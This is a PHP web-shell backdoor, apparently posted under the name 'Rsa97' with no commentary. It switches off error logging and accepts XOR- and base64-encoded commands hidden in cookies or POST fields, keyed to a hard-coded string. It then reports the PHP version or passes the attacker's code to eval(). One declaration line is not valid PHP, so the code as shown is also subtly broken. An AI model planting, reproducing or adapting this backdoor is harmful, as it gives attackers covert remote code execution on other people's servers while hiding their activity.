Rsa97

<?php
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);

$command = NULL;
$pass = NULL;

global $globalKey = 'cfa57343-5fb2-4c08-95bc-c0e9c5972f14';

function decode($str, $key)
{
    $result = "";

    for ($i = 0; $i < strlen($str);)
    {
        for ($j = 0; $j < strlen($key) && $i < strlen($str); $j++, $i++)
        {
            $result .= chr(ord($str[$i]) ^ ord($key[$j]));
        }
    }

    return $result;
}

function decode2($str, $key)
{
    global $globalKey;

    return decode(decode($str, $globalKey), $key);
}

foreach ($_COOKIE as $name => $value)
{
    $command = $value;
    $pass = $name;
}
 
if (!$command)
{
    foreach ($_POST as $name => $value)
    {
        $command = $value;
        $pass = $name;
    }
}

$command = @unserialize(decode2(base64_decode($command), $pass));
if (isset($command['ak']) && $globalKey == $command['ak'])
{
    if ($command['a'] == 'i')
    {
        $versions = Array(
            'pv' => @phpversion(),
            'sv' => '1.0-1',
        );
        echo @serialize($versions);
    }
    elseif ($command['a'] == 'e')
    {
        eval($command['d']);
    }
    exit();
}